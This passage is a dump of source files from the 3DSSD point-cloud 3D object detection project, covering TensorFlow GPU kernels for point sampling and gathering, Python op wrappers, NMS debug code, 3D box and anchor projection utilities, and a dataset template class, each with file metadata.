idx_tensor.shape().dim_size(0)==b,errors::InvalidArgument(\"GatherPoint expects (batch_size,num_result) idx shape\"));\n int m=idx_tensor.shape().dim_size(1);\n auto inp_flat=inp_tensor.flat<float>();\n const float * inp=&(inp_flat(0));\n auto idx_flat=idx_tensor.flat<int>();\n const int * idx=&(idx_flat(0));\n Tensor * out_tensor=NULL;\n OP_REQUIRES_OK(context,context->allocate_output(0,TensorShape{b,m,c},&out_tensor));\n auto out_flat=out_tensor->flat<float>();\n float * out=&(out_flat(0));\n gatherpointLauncher(b,n,m,c,inp,idx,out);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"GatherPoint\").Device(DEVICE_GPU),GatherPointGpuOp);\n\nvoid scatteraddpointLauncher(int b,int n,int m,int c,const float * out_g,const int * idx,float * inp_g);\nclass GatherPointGradGpuOp: public OpKernel{\n public:\n explicit GatherPointGradGpuOp(OpKernelConstruction * context):OpKernel(context){}\n void Compute(OpKernelContext * context)override{\n const Tensor& inp_tensor=context->input(0); // [b, n, c]\n OP_REQUIRES(context,inp_tensor.dims()==3,errors::InvalidArgument(\"GatherPointGradGpuOp expects (batch_size,num_points,c) inp\"));\n int b=inp_tensor.shape().dim_size(0);\n int n=inp_tensor.shape().dim_size(1);\n int c=inp_tensor.shape().dim_size(2);\n const Tensor& idx_tensor=context->input(1); //[b,m]\n OP_REQUIRES(context,idx_tensor.dims()==2 && idx_tensor.shape().dim_size(0)==b,errors::InvalidArgument(\"GatherPointGradGpuOp expects (batch_size,num_result) idx shape\"));\n int m=idx_tensor.shape().dim_size(1);\n auto inp_flat=inp_tensor.flat<float>();\n const float * inp=&(inp_flat(0));\n auto idx_flat=idx_tensor.flat<int>();\n const int * idx=&(idx_flat(0));\n const Tensor& out_g_tensor=context->input(2); // [b, m, c]\n OP_REQUIRES(context,out_g_tensor.dims()==3 && out_g_tensor.shape().dim_size(0)==b && out_g_tensor.shape().dim_size(1)==m && out_g_tensor.shape().dim_size(2)==c,errors::InvalidArgument(\"GatherPointGradGpuOp expects (batch_size,num_result,c) out_g shape\"));\n auto out_g_flat=out_g_tensor.flat<float>();\n const float * out_g=&(out_g_flat(0));\n Tensor * inp_g_tensor=NULL; // [b, n, c]\n OP_REQUIRES_OK(context,context->allocate_output(0,TensorShape{b,n,c},&inp_g_tensor));\n auto inp_g_flat=inp_g_tensor->flat<float>();\n float * inp_g=&(inp_g_flat(0));\n cudaMemset(inp_g,0,b*n*c*sizeof(float));\n scatteraddpointLauncher(b,n,m,c,out_g,idx,inp_g);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"GatherPointGrad\").Device(DEVICE_GPU),GatherPointGradGpuOp);\n\n\nvoid GatherByMaskLauncher(int b,int n,int c,int proposal_num,const float *inp,const float *mask,float *out);\nclass GatherByMaskGpuOp: public OpKernel{\n public:\n explicit GatherByMaskGpuOp(OpKernelConstruction * context):OpKernel(context){\n OP_REQUIRES_OK(context, context->GetAttr(\"proposal_num\", &proposal_num_));\n OP_REQUIRES(context, proposal_num_ > 0, errors::InvalidArgument(\"GatherByMask expects positive proposal number\"));\n }\n void Compute(OpKernelContext * context)override{\n const Tensor& inp_tensor=context->input(0);\n OP_REQUIRES(context,inp_tensor.dims()==3,errors::InvalidArgument(\"GatherByMask expects (bs,num_points,c) inp shape\"));\n int b=inp_tensor.shape().dim_size(0);\n int n=inp_tensor.shape().dim_size(1);\n int c=inp_tensor.shape().dim_size(2);\n\n const Tensor& mask_tensor =context->input(1);\n OP_REQUIRES(context,mask_tensor.dims()==2 && mask_tensor.shape().dim_size(0)==b && mask_tensor.shape().dim_size(1)==n,errors::InvalidArgument(\"GatherByMask expects (bs,num_points) mask shape\"));\n\n auto inp_flat=inp_tensor.flat<float>();\n const float *inp = &(inp_flat(0));\n auto mask_flat = mask_tensor.flat<float>();\n const float* mask = &(mask_flat(0));\n\n Tensor *out_tensor=NULL;\n OP_REQUIRES_OK(context,context->allocate_output(0,TensorShape{b,proposal_num_,c},&out_tensor));\n auto out_flat=out_tensor->flat<float>();\n float *out=&(out_flat(0));\n GatherByMaskLauncher(b,n,c,proposal_num_,inp,mask,out);\n }\n private:\n int proposal_num_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"GatherByMask\").Device(DEVICE_GPU),GatherByMaskGpuOp);\n" }, { "alpha_fraction": 0.6542975902557373, "alphanum_fraction": 0.6766376495361328, "avg_line_length": 30.058822631835938, "blob_id": "1236f6e166e8e4d6159d94646aad1eab61ea9d5a", "content_id": "d04bfdb3b0bc352f36b8ac3a2fa27e103361d5d9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2641, "license_type": "permissive", "max_line_length": 81, "num_lines": 85, "path": "/lib/utils/tf_ops/sampling/tf_sampling.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tensorflow.python.framework import ops\nimport sys\nimport os\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR)\nsampling_module=tf.load_op_library(os.path.join(BASE_DIR, 'tf_sampling_so.so'))\ndef prob_sample(inp,inpr):\n '''\ninput:\n batch_size * ncategory float32\n batch_size * npoints float32\nreturns:\n batch_size * npoints int32\n '''\n return sampling_module.prob_sample(inp,inpr)\nops.NoGradient('ProbSample')\n# TF1.0 API requires set shape in C++\n#@tf.RegisterShape('ProbSample')\n#def _prob_sample_shape(op):\n# shape1=op.inputs[0].get_shape().with_rank(2)\n# shape2=op.inputs[1].get_shape().with_rank(2)\n# return [tf.TensorShape([shape2.dims[0],shape2.dims[1]])]\ndef gather_point(inp,idx):\n '''\ninput:\n batch_size * ndataset * c float32\n batch_size * npoints int32\nreturns:\n batch_size * npoints * c float32\n '''\n return sampling_module.gather_point(inp,idx)\n#@tf.RegisterShape('GatherPoint')\n#def _gather_point_shape(op):\n# shape1=op.inputs[0].get_shape().with_rank(3)\n# shape2=op.inputs[1].get_shape().with_rank(2)\n# return [tf.TensorShape([shape1.dims[0],shape2.dims[1],shape1.dims[2]])]\[email protected]('GatherPoint')\ndef _gather_point_grad(op,out_g):\n inp=op.inputs[0]\n idx=op.inputs[1]\n return [sampling_module.gather_point_grad(inp,idx,out_g),None]\ndef farthest_point_sample(npoint,inp):\n '''\ninput:\n int32\n batch_size * ndataset * c float32\nreturns:\n batch_size * npoint int32\n '''\n return sampling_module.farthest_point_sample(inp, npoint)\nops.NoGradient('FarthestPointSample')\n\ndef farthest_point_sample_with_distance(npoint, dist):\n \"\"\"\n Args:\n int32\n batch_size * ndataset * ndataset float32, distance matrics\n Return:\n batch_size * npoint, int32\n \"\"\"\n return sampling_module.farthest_point_sample_with_distance(dist, npoint)\nops.NoGradient('FarthestPointSampleWithDistance')\n \ndef farthest_point_sample_with_preidx(npoint, inp, preidx):\n \"\"\"\n Args:\n int32\n batch_size * ndataset * ndataset float32, distance matrics\n Return:\n batch_size * npoint, int32\n \"\"\"\n return sampling_module.farthest_point_sample_with_preidx(inp, preidx, npoint)\nops.NoGradient('FarthestPointSampleWithPreidx')\n\ndef gather_by_mask(proposal_num, inp, mask):\n \"\"\"\n proposal_num: training proposal number for stage2\n inp: [bs, pts_num, -1]\n mask: [bs, pts_num]\n\n out: [bs, proposal_num, -1]\n \"\"\"\n return sampling_module.gather_by_mask(inp, mask, proposal_num)\nops.NoGradient('GatherByMask')\n\n" }, { "alpha_fraction": 0.5694480538368225, "alphanum_fraction": 0.604499101638794, "avg_line_length": 38.82291793823242, "blob_id": "ca3954fb762cb2dc6b6852b880f3f7104e2d6871", "content_id": "c37c5859334763dd1ee2c42b84b647a59a3deaaf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3823, "license_type": "permissive", "max_line_length": 109, "num_lines": 96, "path": "/lib/utils/tf_ops/nms/tf_points_nms.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tensorflow.python.framework import ops\nimport sys\nimport os\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR)\npoints_nms_module=tf.load_op_library(os.path.join(BASE_DIR, 'tf_nms_so.so'))\n\ndef points_nms(iou_matrix, points_sample, merge_function, iou_thresh):\n return points_nms_module.points_nms(iou_matrix, points_sample, merge_function, iou_thresh) \nops.NoGradient('PointsNms')\n\ndef points_iou(points_sample_mask):\n return points_nms_module.points_iou(points_sample_mask)\nops.NoGradient('PointsIou')\n\ndef points_nms_block(points_sample, merge_function, iou_thresh, num_to_keep):\n return points_nms_module.points_nms_block(points_sample, merge_function, iou_thresh, num_to_keep)\nops.NoGradient('PointsNmsBlock')\n\ndef points_inside_boxes(points, anchors):\n # points: [-1, 3], anchors: [-1, 6]\n # return: [boxes_num, points_num]\n return points_nms_module.points_inside_boxes(points, anchors)\nops.NoGradient('PointsInsideBoxes')\n\n# test for points inside boxes:\n# if __name__ == '__main__':\n# # debugging\n# points = tf.constant([[0, 0, 0], [1, 0, 0], [2, 0, 0], [3, 0, 0], [-1, 0, 0], [0.5, 0, 0]], tf.float32)\n# anchors = tf.constant([[0, 1, 0, 2, 2, 2], [0, 2, 0, 4, 4, 4]], tf.float32)\n# print(points)\n# print(anchors)\n# points_sample_mask = points_inside_boxes(points, anchors)\n# sess = tf.Session()\n# print(sess.run(points_sample_mask))\n\n# test for points nms\nif __name__ == '__main__':\n # debugging\n a = tf.constant([1, 0, 0, 0, 1, 1, 1, 0], dtype=tf.int32)\n b = tf.constant([1, 1, 1, 1, 0, 0, 0, 0], dtype=tf.int32)\n c = tf.constant([1, 0, 1, 1, 0, 1, 0, 0], dtype=tf.int32)\n d = tf.constant([0, 1, 0, 0, 0, 0, 1, 1], dtype=tf.int32)\n\n # debugging for points iou cacl\n # points_sample_mask = tf.stack([a, b, c, d], axis=0)\n # iou_matrix = points_iou(points_sample_mask)\n # sess = tf.Session()\n # res, mask = sess.run([iou_matrix, points_sample_mask])\n # print(res)\n # print('----------------------') \n # print(mask)\n\n # debugging the points_nms_block\n # points_sample_mask = tf.stack([a, b, c, d], axis=0)\n points_sample_mask = tf.ones([60000, 10000], tf.int32)\n keep_inds, nmsed_points_sample = points_nms_block(points_sample_mask, 2, 0.5, 2)\n sess = tf.Session()\n print('-------------------------')\n print(sess.run(keep_inds))\n print('-------------------------')\n print(sess.run(nmsed_points_sample)) \n \n\n # debugging for points merge\n # initialize the iou_matrix\n # pc_matrix_1 = tf.cast(tf.reshape(tf.stack([a, b, c, d], axis=0), [1, 4, 8]), tf.bool)\n # pc_matrix_2 = tf.cast(tf.reshape(tf.stack([a, b, c, d], axis=0), [4, 1, 8]), tf.bool)\n # # [4, 4, 8]\n # intersection = tf.cast(tf.logical_and(pc_matrix_1, pc_matrix_2), tf.float32)\n # intersection = tf.reduce_sum(intersection, axis=-1)\n\n # union = tf.cast(tf.logical_or(pc_matrix_1, pc_matrix_2), tf.float32)\n # union = tf.reduce_sum(union, axis=-1)\n\n # iou = intersection / union\n\n # pc_matrix_1 = tf.cast(pc_matrix_1, tf.int32)\n # points_num = tf.reduce_sum(pc_matrix_1, axis=-1)\n # points_num = tf.reshape(points_num, [4])\n # idx = tf.nn.top_k(points_num, 4).indices\n\n # points_sample = tf.reshape(pc_matrix_1, [4, 8])\n # points_sample_ordered = tf.gather(points_sample, idx)\n # iou_matrix_ordered = tf.gather(iou, idx)\n\n # keep_inds, nmsed_points_sample = points_nms(iou_matrix_ordered, points_sample_ordered, 0, 0.5)\n # sess = tf.Session()\n # print(sess.run(iou_matrix_ordered))\n # print('-----------------------')\n # print(sess.run(points_sample_ordered))\n # print('-----------------------')\n # print(sess.run(keep_inds))\n # print('-----------------------')\n # print(sess.run(nmsed_points_sample))\n" }, { "alpha_fraction": 0.511857271194458, "alphanum_fraction": 0.5603357553482056, "avg_line_length": 35.64615249633789, "blob_id": "8a7695848c15eb3b48795397fb61a2ec16f9ea6f", "content_id": "a2ea2683456e0b7e43d439af88ddc7c28cacf2e2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4765, "license_type": "permissive", "max_line_length": 135, "num_lines": 130, "path": "/lib/utils/box_3d_utils.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\n\n\ndef object_label_to_box_3d(obj_label):\n \"\"\"Turns an ObjectLabel into an box_3d\n\n Args:\n obj_label: ObjectLabel\n\n Returns:\n anchor: 3D box in box_3d format [x, y, z, l, w, h, ry]\n \"\"\"\n box_3d = np.zeros(7)\n\n box_3d[0:3] = obj_label.t\n box_3d[3] = obj_label.l\n box_3d[4] = obj_label.h\n box_3d[5] = obj_label.w\n box_3d[6] = obj_label.ry\n\n return box_3d\n\n############# Cast label_boxes_3d to anchors ###############\ndef box_3d_to_anchor(boxes_3d, ortho_rotate=False):\n \"\"\"Converts a box_3d tensor to anchor format by ortho rotating it.\n This is similar to 'box_3d_to_anchor' above however it takes\n a tensor as input.\n\n Args:\n boxes_3d: N x 7 tensor of box_3d in the format [x, y, z, l, w, h, ry]\n\n Returns:\n anchors: N x 6 tensor of anchors in anchor form ->\n [x, y, z, dim_x, dim_y, dim_z]\n \"\"\"\n if isinstance(boxes_3d, tf.Tensor):\n lib_name = tf\n concat = tf.concat\n else: \n lib_name = np\n concat = np.concatenate\n x, y, z, l, h, w, ry = lib_name.split(boxes_3d, 7, axis=-1)\n\n # Ortho rotate\n if ortho_rotate:\n half_pi = np.pi / 2\n box_ry = lib_name.round(ry / half_pi) * half_pi\n else: box_ry = ry\n cos_ry = lib_name.abs(lib_name.cos(box_ry))\n sin_ry = lib_name.abs(lib_name.sin(box_ry))\n\n dimx = l * cos_ry + w * sin_ry\n dimy = h\n dimz = w * cos_ry + l * sin_ry\n\n anchors = concat([x,y,z,dimx,dimy,dimz], axis=-1)\n\n return anchors\n\n############# Cast label_boxes_3d to corners###############\ndef get_box3d_corners_helper_np(centers, headings, sizes):\n ''' Input: (N, 3), (N, ), (N, 3), Output: [N, 8, 3]'''\n N = centers.shape[0]\n l = sizes[:, 0]\n h = sizes[:, 1]\n w = sizes[:, 2]\n\n z = np.zeros_like(l)\n x_corners = np.stack([l/2,l/2,-l/2,-l/2,l/2,l/2,-l/2,-l/2], axis=1) # (N,8)\n y_corners = np.stack([z,z,z,z,-h,-h,-h,-h], axis=1) # (N,8)\n z_corners = np.stack([w/2,-w/2,-w/2,w/2,w/2,-w/2,-w/2,w/2], axis=1) # (N,8)\n corners = np.concatenate([np.expand_dims(x_corners,1), np.expand_dims(y_corners,1), np.expand_dims(z_corners,1)], axis=1) # (N,3,8)\n #print x_corners, y_corners, z_corners\n c = np.cos(headings)\n s = np.sin(headings)\n ones = np.ones([N], dtype=np.float32)\n zeros = np.zeros([N], dtype=np.float32)\n row1 = np.stack([c,zeros,s], axis=1) # (N,3)\n row2 = np.stack([zeros,ones,zeros], axis=1)\n row3 = np.stack([-s,zeros,c], axis=1)\n R = np.concatenate([np.expand_dims(row1,1), np.expand_dims(row2,1), np.expand_dims(row3,1)], axis=1) # (N,3,3)\n #print row1, row2, row3, R, N\n corners_3d = np.matmul(R, corners) # (N,3,8)\n corners_3d += np.tile(np.expand_dims(centers,2), [1,1,8]) # (N,3,8)\n corners_3d = np.transpose(corners_3d, [0,2,1]) # (N,8,3)\n return corners_3d\n\ndef get_box3d_corners_helper(centers, headings, sizes):\n \"\"\" TF layer. Input: (N,3), (N,), (N,3), Output: (N,8,3) \"\"\"\n #print '-----', centers\n N = tf.shape(centers)[0]\n l = tf.slice(sizes, [0,0], [-1,1]) # (N,1)\n h = tf.slice(sizes, [0,1], [-1,1]) # (N,1)\n w = tf.slice(sizes, [0,2], [-1,1]) # (N,1)\n z = tf.zeros_like(l)\n #print l,w,h\n x_corners = tf.concat([l/2,l/2,-l/2,-l/2,l/2,l/2,-l/2,-l/2], axis=1) # (N,8)\n y_corners = tf.concat([z,z,z,z,-h,-h,-h,-h], axis=1) # (N,8)\n z_corners = tf.concat([w/2,-w/2,-w/2,w/2,w/2,-w/2,-w/2,w/2], axis=1) # (N,8)\n corners = tf.concat([tf.expand_dims(x_corners,1), tf.expand_dims(y_corners,1), tf.expand_dims(z_corners,1)], axis=1) # (N,3,8)\n #print x_corners, y_corners, z_corners\n c = tf.cos(headings)\n s = tf.sin(headings)\n ones = tf.ones([N], dtype=tf.float32)\n zeros = tf.zeros([N], dtype=tf.float32)\n row1 = tf.stack([c,zeros,s], axis=1) # (N,3)\n row2 = tf.stack([zeros,ones,zeros], axis=1)\n row3 = tf.stack([-s,zeros,c], axis=1)\n R = tf.concat([tf.expand_dims(row1,1), tf.expand_dims(row2,1), tf.expand_dims(row3,1)], axis=1) # (N,3,3)\n #print row1, row2, row3, R, N\n corners_3d = tf.matmul(R, corners) # (N,3,8)\n corners_3d += tf.tile(tf.expand_dims(centers,2), [1,1,8]) # (N,3,8)\n corners_3d = tf.transpose(corners_3d, perm=[0,2,1]) # (N,8,3)\n return corners_3d\n\n\ndef transfer_box3d_to_corners(boxes_3d):\n \"\"\"\n Transfer box_3d with any shape to corners\n boxes_3d: [..., 7]\n\n Return: [..., 8, 3]\n \"\"\"\n boxes_3d_shape = tf.shape(boxes_3d)\n new_shape = tf.concat([boxes_3d_shape[:-1], [8, 3]], axis=0)\n boxes_3d_reshape = tf.reshape(boxes_3d, [-1, 7])\n corners = get_box3d_corners_helper(boxes_3d_reshape[:, :3], boxes_3d_reshape[:, -1], boxes_3d_reshape[:, 3:-1]) # [-1, 8, 3]\n corners = tf.reshape(corners, new_shape)\n return corners \n" }, { "alpha_fraction": 0.6898690462112427, "alphanum_fraction": 0.6898690462112427, "avg_line_length": 30.54347801208496, "blob_id": "072117aeaa3cc275e768cee74814e7255ff49a2f", "content_id": "206fbac7b1f70d41d8a9fce3ccb5550c185ea49c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1451, "license_type": "permissive", "max_line_length": 119, "num_lines": 46, "path": "/lib/dataset/dataloader/dataloader.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "class Dataset:\n \"\"\"\n Template dataset loader and producer\n \"\"\"\n def __init__(self, mode, split, img_list, is_training, workers_num):\n raise NotImplementedError\n \n def __len__(self):\n raise NotImplementedError\n\n # load data\n def load_samples(self, sample_idx, pipename):\n raise NotImplementedError\n\n def load_batch(self, batch_size):\n raise NotImplementedError\n\n # Preprocess data\n def preprocess_samples(self, indices):\n raise NotImplementedError \n\n def generate_mixup_sample(self, sample_dict):\n raise NotImplementedError\n\n def preprocess_batch(self):\n raise NotImplementedError\n\n # Evaluation\n def set_evaluation_tensor(self, model):\n raise NotImplementedError\n\n def evaluate_map(self, sess, feeddict_producer, pred_list, val_size, cls_thresh, log_dir, placeholders=None):\n raise NotImplementedError\n\n def evaluate_recall(self, sess, feeddict_producer, pred_list, val_size, iou_threshold, log_dir, placeholders=None):\n raise NotImplementedError\n\n def logger_and_select_best_map(self, result_list, log_string):\n raise NotImplementedError\n\n def logger_and_select_best_recall(self, result_list, log_string):\n raise NotImplementedError\n\n # Save predictions\n def save_predictions(self, sess, feeddict_producer, pred_list, val_size, cls_thresh, log_dir, placeholders=None):\n raise NotImplementedError\n" }, { "alpha_fraction": 0.5871053338050842, "alphanum_fraction": 0.5977036952972412, "avg_line_length": 47.180850982666016, "blob_id": "64dab864977bd287a380b10985e26be14abaf8c8", "content_id": "3d4aae66b32ecc4174bebf4b87b30b23dd535dff", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4529, "license_type": "permissive", "max_line_length": 115, "num_lines": 94, "path": "/lib/builder/encoder_builder.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nimport numpy as np\nfrom functools import partial\n\nfrom core.config import cfg\nfrom utils.anchor_encoder import *\nfrom utils.anchor_decoder import *\n\nclass EncoderDecoder:\n def __init__(self, stage):\n \"\"\"\n stage: 0/1, first stage / second stage\n For anchors sent to EncoderDecoder, all have shape as [bs, -1, 7]\n \"\"\"\n if stage == 0:\n self.encoder_cfg = cfg.MODEL.FIRST_STAGE.REGRESSION_METHOD\n elif stage == 1:\n self.encoder_cfg = cfg.MODEL.SECOND_STAGE.REGRESSION_METHOD\n else: raise Exception('Not Implementation Error')\n\n self.regression_method = self.encoder_cfg.TYPE\n \n self.encoder_dict = {\n 'Log-Anchor': encode_log_anchor,\n 'Dist-Anchor': encode_dist_anchor,\n 'Dist-Anchor-free': encode_dist_anchor_free,\n 'Bin-Anchor': partial(encode_bin_anchor,\n half_bin_search_range=self.encoder_cfg.HALF_BIN_SEARCH_RANGE, \n bin_num_class=self.encoder_cfg.BIN_CLASS_NUM,),\n }\n\n self.decoder_dict = {\n 'Log-Anchor': decode_log_anchor,\n 'Dist-Anchor': decode_dist_anchor,\n 'Dist-Anchor-free': decode_dist_anchor_free,\n 'Bin-Anchor': partial(decode_bin_anchor,\n half_bin_search_range=self.encoder_cfg.HALF_BIN_SEARCH_RANGE, \n bin_num_class=self.encoder_cfg.BIN_CLASS_NUM,),\n }\n\n self.encoder = self.encoder_dict[self.regression_method]\n self.decoder = self.decoder_dict[self.regression_method]\n\n def encode(self, center_xyz, assigned_gt_boxes, batch_anchors_3d):\n \"\"\"\n center_xyz: [bs, points_num, 3], points location\n assigned_gt_boxes: [bs, points_num, cls_num, 7]\n batch_anchors_3d: [bs, points_num, cls_num, 7]\n \"\"\"\n bs, points_num, cls_num, _ = assigned_gt_boxes.get_shape().as_list()\n gt_offset = assigned_gt_boxes[:, :, :, :-1]\n gt_offset = tf.reshape(gt_offset, [bs, points_num * cls_num, 6])\n reshape_anchors_3d = tf.reshape(batch_anchors_3d, [bs, points_num * cls_num, -1])\n\n gt_ctr, gt_size = tf.split(gt_offset, num_or_size_splits=2, axis=-1)\n if self.regression_method == 'Dist-Anchor-free':\n encoded_ctr, encoded_offset = self.encoder(gt_ctr, gt_size, center_xyz)\n gt_angle = assigned_gt_boxes[:, :, :, -1]\n else: # anchor-based method\n anchor_ctr, anchor_size = tf.split(reshape_anchors_3d[:, :, :-1], num_or_size_splits=2, axis=-1)\n encoded_ctr, encoded_offset = self.encoder(gt_ctr, gt_size, anchor_ctr, anchor_size) \n gt_angle = assigned_gt_boxes[:, :, :, -1] - batch_anchors_3d[:, :, :, -1] \n\n encoded_ctr = tf.reshape(encoded_ctr, [bs, points_num, cls_num, -1])\n encoded_offset = tf.reshape(encoded_offset, [bs, points_num, cls_num, -1])\n\n # bs, points_num, cls_num\n encoded_angle_cls, encoded_angle_res = encode_angle2class_tf(gt_angle, cfg.MODEL.ANGLE_CLS_NUM) \n\n # bs, points_num, cls_num, 8 (bin-loss) / 6 (residual-loss)\n target = tf.concat([encoded_ctr, encoded_offset], axis=-1)\n return target, encoded_angle_cls, encoded_angle_res\n \n\n def decode(self, center_xyz, det_offset, det_angle_cls, det_angle_res, is_training, batch_anchors_3d):\n \"\"\"\n center_xyz: [bs, points_num, 3], points location\n det_offset: [bs, points_num, cls_num, 6]\n det_angle_cls/det_angle_res: [bs, points_num, cls_num, num_angle]\n batch_anchors_3d: [bs, points_num, cls_num, 7]\n \"\"\"\n bs, points_num, cls_num, _ = det_offset.get_shape().as_list()\n det_offset = tf.reshape(det_offset, [bs, points_num * cls_num, -1])\n det_angle_cls = tf.reshape(det_angle_cls, [bs, points_num * cls_num, cfg.MODEL.ANGLE_CLS_NUM])\n det_angle_res = tf.reshape(det_angle_res, [bs, points_num * cls_num, cfg.MODEL.ANGLE_CLS_NUM])\n batch_anchors_3d = tf.reshape(batch_anchors_3d, [bs, points_num * cls_num, -1])\n\n if self.regression_method == 'Dist-Anchor-free':\n pred_anchors_3d = self.decoder(center_xyz, det_offset, det_angle_cls, det_angle_res, is_training)\n else:\n pred_anchors_3d = self.decoder(det_offset, det_angle_cls, det_angle_res, batch_anchors_3d, is_training)\n\n pred_anchors_3d = tf.reshape(pred_anchors_3d, [bs, points_num, cls_num, 7])\n return pred_anchors_3d\n" }, { "alpha_fraction": 0.5552862286567688, "alphanum_fraction": 0.5836285948753357, "avg_line_length": 33.58709716796875, "blob_id": "f598d74794db8efabfdac1b06e1194e3765a8314", "content_id": "6c6cc2cc68e0c057073e4991499b75c5f172c062", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5363, "license_type": "permissive", "max_line_length": 95, "num_lines": 155, "path": "/lib/utils/anchors_util.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nimport numpy as np\n\nimport utils.kitti_util as kitti_util\nfrom utils.box_3d_utils import *\nfrom core.config import cfg\nimport utils.anchor_encoder as anchor_encoder\n\n\n############ Project label_anchors to bev_anchors ##############\ndef project_to_bev(anchors):\n \"\"\"\n Projects an array of 3D anchors into bird's eye view\n\n Args:\n anchors: list of anchors in anchor format (N x 6):\n N x [x, y, z, dim_x, dim_y, dim_z],\n can be a numpy array or tensor\n bev_extents: xz extents of the 3d area\n [[min_x, max_x], [min_z, max_z]]\n\n Returns:\n box_corners_norm: corners as a percentage of the map size, in the\n format N x [x1, y1, x2, y2]. Origin is the top left corner\n \"\"\"\n tensor_format = isinstance(anchors, tf.Tensor)\n if not tensor_format:\n lib_name = np\n anchors = np.array(anchors)\n concat = np.concatenate\n else: # tensor_format\n lib_name = tf\n concat = tf.concat\n \n # we project the anchors to the bev maps\n x, y, z, l, h, w = lib_name.split(anchors, 6, axis=-1)\n half_dim_x = l / 2.0\n half_dim_z = w / 2.0\n \n # first get the x min and x max\n x_min = x - half_dim_x\n x_max = x + half_dim_x\n \n z_min = z - half_dim_z\n z_max = z + half_dim_z\n # thus now, we get the project anchor\n bev_anchors = concat([x_min, z_min, x_max, z_max], axis=-1)\n\n return bev_anchors\n\n\n\n############ Project to image space ##############\ndef project_to_image_space_corners(anchors_corners, stereo_calib_p2, img_shape=(375, 1242)):\n \"\"\"\n Projects 3D anchors into image space\n\n Args:\n anchors: list of anchors in anchor format N x 8 x 3 \n stereo_calib_p2: stereo camera calibration p2 matrix 3x4\n image_shape: dimensions of the image [h, w]\n\n Returns:\n box_corners: corners in image space - N x [x1, y1, x2, y2]\n box_corners_norm: corners as a percentage of the image size -\n N x [x1, y1, x2, y2]\n \"\"\"\n if anchors_corners.shape[1] != 8:\n raise ValueError(\"Invalid shape for anchors {}, should be \"\n \"(N, 8, 3)\".format(anchors.shape[1]))\n\n # Apply the 2D image plane transformation\n anchors_corners = np.reshape(anchors_corners, [-1, 3])\n pts_2d = kitti_util.project_to_image(anchors_corners, stereo_calib_p2) # [-1, 2]\n\n pts_2d = np.reshape(pts_2d, [-1, 8, 2]) \n\n h, w = img_shape\n\n # Get the min and maxes of image coordinates\n i_axis_min_points = np.minimum(np.maximum(np.amin(pts_2d[:, :, 0], axis=1), 0), w)\n j_axis_min_points = np.minimum(np.maximum(np.amin(pts_2d[:, :, 1], axis=1), 0), h)\n\n i_axis_max_points = np.minimum(np.maximum(np.amax(pts_2d[:, :, 0], axis=1), 0), w)\n j_axis_max_points = np.minimum(np.maximum(np.amax(pts_2d[:, :, 1], axis=1), 0), h)\n\n box_corners = np.stack([i_axis_min_points, j_axis_min_points,\n i_axis_max_points, j_axis_max_points], axis=-1)\n\n\n return np.array(box_corners, dtype=np.float32)\n\n\ndef tf_project_to_image_space_corners(anchors_corners, stereo_calib_p2, img_shape=(375, 1242)):\n \"\"\"\n Projects 3D anchors into image space\n\n Args:\n anchors: list of anchors in anchor format N x 8 x 3 \n stereo_calib_p2: stereo camera calibration p2 matrix\n image_shape: dimensions of the image [h, w]\n\n Returns:\n box_corners: corners in image space - N x [x1, y1, x2, y2]\n box_corners_norm: corners as a percentage of the image size -\n N x [x1, y1, x2, y2]\n \"\"\"\n if anchors_corners.get_shape().as_list()[1] != 8:\n raise ValueError(\"Invalid shape for anchors {}, should be \"\n \"(N, 8, 3)\".format(anchors.shape[1]))\n\n # Apply the 2D image plane transformation\n anchors_corners = tf.reshape(anchors_corners, [-1, 3])\n\n # [-1, 2]\n pts_2d = kitti_util.tf_project_to_image_tensor(anchors_corners, stereo_calib_p2)\n\n pts_2d = tf.reshape(pts_2d, [-1, 8, 2]) \n\n h, w = img_shape\n\n # Get the min and maxes of image coordinates\n i_axis_min_points = tf.minimum(tf.maximum(tf.reduce_min(pts_2d[:, :, 0], axis=1), 0), w)\n j_axis_min_points = tf.minimum(tf.maximum(tf.reduce_min(pts_2d[:, :, 1], axis=1), 0), h)\n\n i_axis_max_points = tf.minimum(tf.maximum(tf.reduce_max(pts_2d[:, :, 0], axis=1), 0), w)\n j_axis_max_points = tf.minimum(tf.maximum(tf.reduce_max(pts_2d[:, :, 1], axis=1), 0), h)\n\n box_corners = tf.stack([i_axis_min_points, j_axis_min_points,\n i_axis_max_points, j_axis_max_points], axis=-1)\n\n return tf.cast(box_corners, tf.float32)\n\n\n\ndef reorder_projected_boxes(box_corners):\n \"\"\"Helper function to reorder image corners.\n\n This reorders the corners from [x1, y1, x2, y2] to\n [y1, x1, y2, x2] which is required by the tf.crop_and_resize op.\n\n Args:\n box_corners: tensor image corners in the format\n N x [x1, y1, x2, y2]\n\n Returns:\n box_corners_reordered: tensor image corners in the format\n N x [y1, x1, y2, x2]\n \"\"\"\n boxes_reordered = tf.stack([box_corners[:, 1],\n box_corners[:, 0],\n box_corners[:, 3],\n box_corners[:, 2]],\n axis=1)\n return boxes_reordered\n\n\n" }, { "alpha_fraction": 0.6224379539489746, "alphanum_fraction": 0.6720604300498962, "avg_line_length": 25.514286041259766, "blob_id": 